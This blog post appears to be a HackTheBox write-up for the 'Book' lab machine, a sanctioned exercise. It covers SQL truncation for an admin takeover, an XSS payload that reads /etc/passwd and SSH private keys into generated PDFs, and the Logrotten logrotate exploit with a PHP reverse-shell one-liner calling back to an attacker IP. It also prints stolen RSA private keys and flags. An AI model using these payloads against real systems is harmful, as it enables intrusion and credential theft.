HackTheBox WriteUp Book

Hack The Box Writeup: Book

So far the most difficult box I’ve done. Book gives you a platform where you can grab the flags using SQL Truncation and an exploit in Logrotate. The initial access was good for a few hours of brain-teasing, the root flag went a bit smoother.

Hack The Box Book Infocard

[0x1] Reconnaissance & Enumeration

The port scan returns only two ports in Book. There is not much to search for possible entries because in this case it is either the web service or the SSH service.

nmap -sC -sV -oA ~/Documents/boxes/book/book 10.10.10.176 

Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-26 16:17 GMT
Nmap scan report for 10.10.10.176
Host is up (0.036s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 f7:fc:57:99:f6:82:e0:03:d6:03:bc:09:43:01:55:b7 (RSA)
| 256 a3:e5:d1:74:c4:8a:e8:c8:52:c7:17:83:4a:54:31:bd (ECDSA)
|_ 256 e3:62:68:72:e2:c0:ae:46:67:3d:cb:46:bf:69:b9:6a (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: LIBRARY - Read | Learn | Have Fun
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 42.84 seconds

Port 80 is active, great time to see what kind of website is being offered. I come across a page where you can log in with your account, or create a new account.

[0x2] Initial foothold

The first thing I try is SQL injection and Cross Site Scripting. Unfortunately not a success. Perhaps do a signup first?

Tried the same technique on the signup page, with the same result. As I continued to search for known OWASP vulnerabilities I came across the SQL Truncation and tried to go beyond the 20 character limit for the email address. This worked and the next attempt was to use the contact address admin@book.htb

if (y == "") {
    alert("Please fill email field. Should not be more than 20 characters");
    return false;
}

Below you can see the request in BurpSuite, with this I use the username (e-mail address) of the admin user, but with my own chosen password.

An admin account is useful, but a place to use it even more so. Logging in was not possible on the standard form, but via dirb I found a separate login page for admins.

dirb http://10.10.10.176

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Fri Mar 20 19:57:03 2020
URL_BASE: http://10.10.10.176/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://10.10.10.176/ ----
==> DIRECTORY: http://10.10.10.176/admin/                                                                                                  
==> DIRECTORY: http://10.10.10.176/docs/                                                                                                   
==> DIRECTORY: http://10.10.10.176/images/                                                                                                 
+ http://10.10.10.176/index.php (CODE:200|SIZE:6800) 

I now register with admin@book.htb and the password I created myself.

Yes! Access to the portal was successful. You can do everything in the admin portal, but the only place that looks really interesting is the possibility to export a Collection.

[0x3] Path to User flag

With a user account it is possible to add a new book to the collection from the user portal. This book will then appear in the Collection in the admin panel.

I choose to upload a book and paste a javascript into the form to see if the / etc / passwd can be read. If this works, I expect the output in the PDF that I can open in the admin portal

<script>
x=new XMLHttpRequest;
x.onload=function(){
document.write(this.responseText)
};
x.open("GET","file:///etc/passwd");
x.send();
</script> 

In the Collections overview in the admin panel I choose my added “book” and view the content.

Cross Site Scripting is a go! The output of the /etc/passwd file can be read neatly in the document. Then I repeat the same trick to see which user I am now (whoami) and this is: reader.

I also tried a php reverse shell, but without success. Given the open SSH port, I aim my arrows at the private key of the user reader.

<script>
x=new XMLHttpRequest;
x.onload=function(){
document.write(this.responseText)
};
x.open("GET","file:///home/reader/.ssh/id_rsa");
x.send();
</script> 

The private key of the account will appear neatly in the newly generated PDF file. If this account has rights to log in remotely via SSH, this could just be the entrance for a full shell. There was still a short challenge around getting the private key from the PDF, given that a number of browsers and tools changed the format of the key. This results in the private key not being recognized as such. Chrome thought it was fine and produced a neat working structure with the copy and paste.

-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEA2JJQsccK6fE05OWbVGOuKZdf0FyicoUrrm821nHygmLgWSpJ
G8m6UNZyRGj77eeYGe/7YIQYPATNLSOpQIue3knhDiEsfR99rMg7FRnVCpiHPpJ0
WxtCK0VlQUwxZ6953D16uxlRH8LXeI6BNAIjF0Z7zgkzRhTYJpKs6M80NdjUCl/0
ePV8RKoYVWuVRb4nFG1Es0bOj29lu64yWd/j3xWXHgpaJciHKxeNlr8x6NgbPv4s
7WaZQ4cjd+yzpOCJw9J91Vi33gv6+KCIzr+TEfzI82+hLW1UGx/13fh20cZXA6PK
75I5d5Holg7ME40BU06Eq0E3EOY6whCPlzndVwIDAQABAoIBAQCs+kh7hihAbIi7
3mxvPeKok6BSsvqJD7aw72FUbNSusbzRWwXjrP8ke/Pukg/OmDETXmtgToFwxsD+
McKIrDvq/gVEnNiE47ckXxVZqDVR7jvvjVhkQGRcXWQfgHThhPWHJI+3iuQRwzUI
tIGcAaz3dTODgDO04Qc33+U9WeowqpOaqg9rWn00vgzOIjDgeGnbzr9ERdiuX6WJ
jhPHFI7usIxmgX8Q2/nx3LSUNeZ2vHK5PMxiyJSQLiCbTBI/DurhMelbFX50/owz
7Qd2hMSr7qJVdfCQjkmE3x/L37YQEnQph6lcPzvVGOEGQzkuu4ljFkYz6sZ8GMx6
GZYD7sW5AoGBAO89fhOZC8osdYwOAISAk1vjmW9ZSPLYsmTmk3A7jOwke0o8/4FL
E2vk2W5a9R6N5bEb9yvSt378snyrZGWpaIOWJADu+9xpZScZZ9imHHZiPlSNbc8/
ciqzwDZfSg5QLoe8CV/7sL2nKBRYBQVL6D8SBRPTIR+J/wHRtKt5PkxjAoGBAOe+
SRM/Abh5xub6zThrkIRnFgcYEf5CmVJX9IgPnwgWPHGcwUjKEH5pwpei6Sv8et7l
skGl3dh4M/2Tgl/gYPwUKI4ori5OMRWykGANbLAt+Diz9mA3FQIi26ickgD2fv+V
o5GVjWTOlfEj74k8hC6GjzWHna0pSlBEiAEF6Xt9AoGAZCDjdIZYhdxHsj9l/g7m
Hc5LOGww+NqzB0HtsUprN6YpJ7AR6+YlEcItMl/FOW2AFbkzoNbHT9GpTj5ZfacC
hBhBp1ZeeShvWobqjKUxQmbp2W975wKR4MdsihUlpInwf4S2k8J+fVHJl4IjT80u
Pb9n+p0hvtZ9sSA4so/DACsCgYEA1y1ERO6X9mZ8XTQ7IUwfIBFnzqZ27pOAMYkh
sMRwcd3TudpHTgLxVa91076cqw8AN78nyPTuDHVwMN+qisOYyfcdwQHc2XoY8YCf
tdBBP0Uv2dafya7bfuRG+USH/QTj3wVen2sxoox/hSxM2iyqv1iJ2LZXndVc/zLi
5bBLnzECgYEAlLiYGzP92qdmlKLLWS7nPM0YzhbN9q0qC3ztk/+1v8pjj162pnlW
y1K/LbqIV3C01ruxVBOV7ivUYrRkxR/u5QbS3WxOnK0FYjlS7UUAc4r0zMfWT9TN
nkeaf9obYKsrORVuKKVNFzrWeXcVx+oG3NisSABIprhDfKUSbHzLIR4=
-----END RSA PRIVATE KEY-----

The key may have a password that must be cracked first. I wanted to crack the private key through SSH2John, but a pleasant surprise appeared. No password required!

python /usr/share/john/ssh2john.py id_rsa 
id_rsa has no password!

By means of the private key, logging in via SSH is indeed possible for the account reader. Finally a normal shell without having to constantly mess with the vulnerability in the web application.

ssh -i id_rsa reader@book.htb
The authenticity of host 'book.htb (10.10.10.176)' can't be established.
ECDSA key fingerprint is SHA256:QRw8pCXg7E8d9sWI+0Z9nZxClJiq9/eAeT/9wUfoQQk.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'book.htb,10.10.10.176' (ECDSA) to the list of known hosts. 

Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 5.4.1-050401-generic x86_64)
Last login: Wed Jan 29 13:03:06 2020 from 10.10.14.3

Since we now have access as the user reader we can grab his flag in the expected folder.

cat /home/reader/user.txt
51c1d4b5197fa30e3e5d37f8778f95bc

[0x4] Path to Root flag

Fine, a normal shell to Book. After looking around the machine I come across a database configuration file with a password. This account only provides access to the MySQL instance running on Book. Ultimately this turns out to be a rabbit hole and I don’t find any interesting information in the various tables. I will add the password to my notes. Maybe interesting for later.

reader@book:/var/www/html$ cat db.php
<?php
$conn = mysqli_connect("localhost","book_admin","I_Hate_Book_Reading","book"); 
// Check connection
if (mysqli_connect_errno())
  {
  echo "Failed to connect to MySQL: " . mysqli_connect_error();
  }
?>

In the home directory there is a folder called backups. This is not standard and may contain the following directions for the route to root. The backup folder contains two files of which access.log regularly loses its contents. There is a form of log rotation active in a place where you don’t really expect it.

reader@book:~/backups$ ls 
access.log access.log.1 

The file access.log.1 returns a meaningless line. I expect this to be of little use.

reader@book:~/backups$ cat access.log.1
192.168.0.104 - - [29/Jun/2019:14:39:55 +0000] "GET /robbie03 HTTP/1.1" 404 446 "-" "curl"

So there is a process active that ensures the constant rotation of the log when something is written. I decide to use the tool pspy which can be download on the Github page of Dominic Breuker. After downloading the 64-bit version, I also transfer this file via the SimpleHTTPServer and start it on the machine.

reader@book:/tmp$ chmod +x pspy64

reader@book:/tmp$ ./pspy64 
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░     

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scannning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...

Something interesting appears here after writing out text in access.log. A logrotate is immediately executed with a config file in the home folder of root.

2020/03/14 12:11:36 CMD: UID=0    PID=87276  | /usr/sbin/logrotate -f /root/log.cfg 
2020/03/14 12:11:36 CMD: UID=0    PID=87275  | /bin/sh /root/log.sh 
2020/03/14 12:11:36 CMD: UID=0    PID=87277  | sleep 5 
2020/03/14 12:11:41 CMD: UID=0    PID=87280  | sleep 5 
2020/03/14 12:11:46 CMD: UID=0    PID=87283  | sleep 5 
2020/03/14 12:11:51 CMD: UID=0    PID=87286  | sleep 5 
2020/03/14 12:11:56 CMD: UID=0    PID=87288  | /usr/sbin/logrotate -f /root/log.cfg 

Google is your friend, and within a few clicks I arrive at a page where a vulnerability in logrotate is described. The exploit is called Logrotten and makes it possible to execute a payload when a log file is replaced. Sounds like something that fits the situation on this machine just fine.

As payload, I choose a PHP reverse shell. The web application uses PHP and with this I know for sure that the code can be executed.

php -r '$sock=fsockopen("10.10.14.5",1337);exec("/bin/sh -i <&3 >&3 2>&3");'

The exploit is only available as a C # file and must be compiled after downloading. This can be done by means of gcc.

gcc logrotten.c -o logrotten

A simple web server via Python on port 8080 will soon make it possible to download the payload and the exploit on the machine.

python -m SimpleHTTPServer 8080
Serving HTTP on 0.0.0.0 port 8080 ...

Both the compiled exploit and the payload are required to use the logrot exploit. Now that the web server is active on my ParrotOS machine, the files are easy to download.

wget http://10.10.14.8:8080/logrotten
--2020-03-01 09:26:59-- http://10.10.14.8:8080/logrotten
Connecting to 10.10.14.8:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 18296 (18K) [application/octet-stream]
Saving to: ‘logrotten’

logrotten 100%[=====================================================>] 17.87K 98.1KB/s in 0.2s 

2020-03-01 09:26:59 (98.1 KB/s) - ‘logrotten’ saved [18296/18296]
reader@book:/tmp$ wget http://10.10.14.8:8080/payload
--2020-03-01 09:27:06-- http://10.10.14.8:8080/payload
Connecting to 10.10.14.8:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 77 [application/octet-stream]
Saving to: ‘payload’

payload 100%[=====================================================>] 77 --.-KB/s in 0s 

2020-03-01 09:27:06 (11.3 MB/s) - ‘payload’ saved [77/77]

With the exploit and payload ready for use, I experiment a bit with the possibilities. Calling log rot is relatively easy and then the exploit waits for the log file to rotate. The exploit itself does not do this.

./logrotten -p ./payload /home/reader/backups/access.log 
Waiting for rotating /home/reader/backups/access.log..

My exploit is a reverse shell, so I open a netcat listener on port 1337 before messing around with the exploit.

netcat -lvnp 1337

After some testing the rotation of the log appears to take place immediately after adding information in access.log. By injecting a line of text into the access.log file, the rotation is performed almost instantly.

echo 'Hacked/\/\/\/\/\Hacked/\/\/\/\' >>access.log

The exploit ensures that the payload is executed during rotation.

./logrotten -p ./payload /home/reader/backups/access.log
Waiting for rotating /home/reader/backups/access.log...
Renamed /home/reader/backups with /home/reader/backups2 and created symlink to /etc/bash_completion.d 
Waiting 1 seconds before writing payload...
Done!

And there is the reverse shell as root. However, you cannot enjoy it for long, because the session is automatically closed within a few seconds. Probably by the reset.sh script.

netcat -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.10.176] 42894 
# ls 
clean_backup.sh
clean.sh
cron_root
log.cfg
log.sh
reset.sh
root.txt
# Hangup

By preparing the one-liner in advance, when I receive the reverse shell again, I can immediately export the private key of root so that I can easily connect via SSH.

netcat -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.10.176] 42834
# cat /root/.ssh/id_rsa > /tmp/key
# Hangup
cat /tmp/key

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAsxp94IilXDxbAhMRD2PsQQ46mGrvgSPUh26lCETrWcIdNU6J
cFzQxCMM/E8UwLdD0fzUJtDgo4SUuwUmkPc6FXuLrZ+xqJaKoeu7/3WgjNBnRc7E
z6kgpwnf4GOqpvxx1R1W+atbMkkWn6Ne89ogCUarJFVMEszzuC+14Id83wWSc8uV
ZfwOR1y/Xqdu82HwoAMD3QG/gu6jER8V7zsC0ByAyTLT7VujBAP9USfqOeqza2UN
GWUqIckZ2ITbChBuTeahfH2Oni7Z3q2wXzn/0yubA8BpyzVut4Xy6ZgjpH6tlwQG
BEbULdw9d/E0ZFHN4MoNWuKtybx4iVMTBcZcyQIDAQABAoIBAQCgBcxwIEb2qSp7
KQP2J0ZAPfFWmzzQum26b75eLA3HzasBJOGhlhwlElgY2qNlKJkc9nOrFrePAfdN
PeXeYjXwWclL4MIAKjlFQPVg4v0Gs3GCKqMoEymMdUMlHoer2SPv0N4UBuldfXYM
PhCpebtj7lMdDGUC60Ha0C4FpaiJLdbpfxHase/uHvp3S/x1oMyLwMOOSOoRZZ2B
Ap+fnQEvGmp7QwfH+cJT8ggncyN+Gc17NwXrqvWhkIGnf7Bh+stJeE/sKsvG83Bi
E5ugJKIIipGpZ6ubhmZZ/Wndl8Qcf80EbUYs4oIICWCMu2401dvPMXRp7PCQmAJB
5FVQhEadAoGBAOQ2/nTQCOb2DaiFXCsZSr7NTJCSD2d3s1L6cZc95LThXLL6sWJq
mljR6pC7g17HTTfoXXM2JN9+kz5zNms/eVvO1Ot9GPYWj6TmgWnJlWpT075U3CMU
MNEzJtWyrUGbbRvm/2C8pvNSbLhmtdAg3pDsFb884OT8b4arufE7bdWHAoGBAMjo
y0+3awaLj7ILGgvukDfpK4sMvYmx4QYK2L1R6pkGX2dxa4fs/uFx45Qk79AGc55R
IV1OjFqDoq/s4jj1sChKF2+8+JUcrJMsk0WIMHNtDprI5ibYy7XfHe7oHnOUxCTS
CPrfj2jYM/VCkLTQzdOeITDDIUGG4QGUML8IbM8vAoGBAM6apuSTzetiCF1vVlDC
VfPEorMjOATgzhyqFJnqc5n5iFWUNXC2t8L/T47142mznsmleKyr8NfQnHbmEPcp
ALJH3mTO3QE0zZhpAfIGiFk5SLG/24d6aPOLjnXai5Wgozemeb5XLAGOtlR+z8x7
ZWLoCIwYDjXf/wt5fh3RQo8TAoGAJ9Da2gWDlFx8MdC5bLvuoOX41ynDNlKmQchM
g9iEIad9qMZ1hQ6WxJ8JdwaK8DMXHrz9W7yBXD7SMwNDIf6u1o04b9CHgyWXneMr
nJAM6hMm3c4KrpAwbu60w/AEeOt2o8VsOiusBB80zNpQS0VGRTYFZeCF6rKMTP/N
WU6WIckCgYBE3k00nlMiBNPBn9ZC6legIgRTb/M+WuG7DVxiRltwMoDMVIoi1oXT
ExVWHvmPJh6qYvA8WfvdPYhunyIstqHEPGn14fSl6xx3+eR3djjO6J7VFgypcQwB
yiu6RurPM+vUkQKb1omS+VqPH+Q7FiO+qeywqxSBotnLvVAiaOywUQ==
-----END RSA PRIVATE KEY-----

I expect there is a password on the private key and I try to convert the output so that John the Ripper can work with it. Small advantage, there is no password.

python /usr/share/john/ssh2john.py id_rsa_root
id_rsa_root has no password!

Connecting based on the private key via SSH then gives a direct connection to the box and I see that I am in as root.

ssh -i id_rsa_root root@10.10.10.176
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 5.4.1-050401-generic x86_64)
..
..
Last login: Sat Feb 29 17:53:02 2020 from ::1

root@book:~# whoami
root 

Last step, take the flag and officially consider the box rooted.

root@book:~# cat /root/root.txt
84da92adf998a1c7231297f70dd89714

d0p4m1n3

Ethical Hacker | Cybersecurity enthusiast | Always looking to expand my knowledge | got root?

Add comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.

Your Header Sidebar area is currently empty. Hurry up and add some widgets.